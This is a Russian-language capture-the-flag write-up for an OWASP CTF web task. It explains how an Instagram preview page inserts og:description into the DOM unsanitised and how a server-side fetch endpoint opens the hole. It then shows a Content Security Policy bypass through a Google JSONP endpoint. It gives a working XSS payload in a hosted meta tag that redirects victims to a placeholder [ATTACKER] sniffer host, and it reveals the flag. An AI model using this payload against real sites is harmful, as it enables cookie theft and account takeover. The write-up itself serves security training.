На главной странице видим 2 формы для ввода URL. Первая (верхняя) показывает на примере https://www.instagram.com/p/BtEHP5AgOli/
как достается картинка и описание из инстаграма и выводится на текущую страницу.
Вторая форма для отправки нашей ссылки (судя по всему XSS bot'у).
http://19.owaspctf.gq/script.js
Весь функционал работает на клиентской стороне, делается ajax-запрос к инстаграму и парсят html страницу.
А именно ищутся теги <meta>
с соответствующими атрибутами:
property=og:description
property=og:image
property=og:video
Интересным является процесс обработки description
:
function createDescription(data){
// create info
var info = document.createElement('p');
info.innerHTML = data.content;
render.appendChild(info); // append link
};
То есть содержимое атрибута content
попадает в DOM нашей страницы. Но есть несколько нюансов:
- Инстаграм html-кодирует спецсимволы в описании к картинке
- Инстаграм обрезает описание в теге
<meta>
если оно слишком большое по длине. - CSP
Внимательней посмотрев на главную страницу можно так же заметить следующий тег:
<noscript><meta http-equiv="refresh" content="0; url=jsdisabled.php" /></noscript>
jsdisabled.php
выглядит точной копией главной страницы, но поработав с ним можно обнаружить что ему напрямую можно передать GET параметр url
,
и по переданной ссылке скрипт ходит сам (а не client-side как это на главной странице).
Это значит что теперь мы не ограничены только инстграмом и можем передать произвольную ссылку по которой точно так же будут парсится и выводится теги.
Так же и CSP тут немного отличается:
default-src 'self' data: *.instagram.com;
script-src 'self' *.instagram.com *.google.com https://www.gstatic.com/recaptcha/ api.mixpanel.com;
style-src 'self';
img-src * data:;
media-src *;
frame-src *.instagram.com *.google.com/recaptcha/
Немного погуглив можно найти следующий endpoint на www.google.com который подходит для обхода CSP (script-src *.google.com):
$ curl --silent 'http://www.google.com/complete/search?client=chrome&jsonp=alert(1);//'
alert(1);//(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])
В параметре jsonp
нельзя использовать кавычки, так что необходимо строку с URL на сниффер заенкодировать
http://[ATTACKER]/? -> String.fromCharCode.apply(null,[0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x5b,0x41,0x54,0x54,0x41,0x43,0x4b,0x45,0x52,0x5d,0x2f,0x3f])
http://[ATTACKER]/poc.html
:
<meta property="og:description" content="<script src='//www.google.com/complete/search?client=chrome&jsonp=window.location=(String.fromCharCode.apply(null,[0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x5b,0x41,0x54,0x54,0x41,0x43,0x4b,0x45,0x52,0x5d,0x2f,0x3f]));//'></script>">
FLAG{Home_is_where_my_cat_is}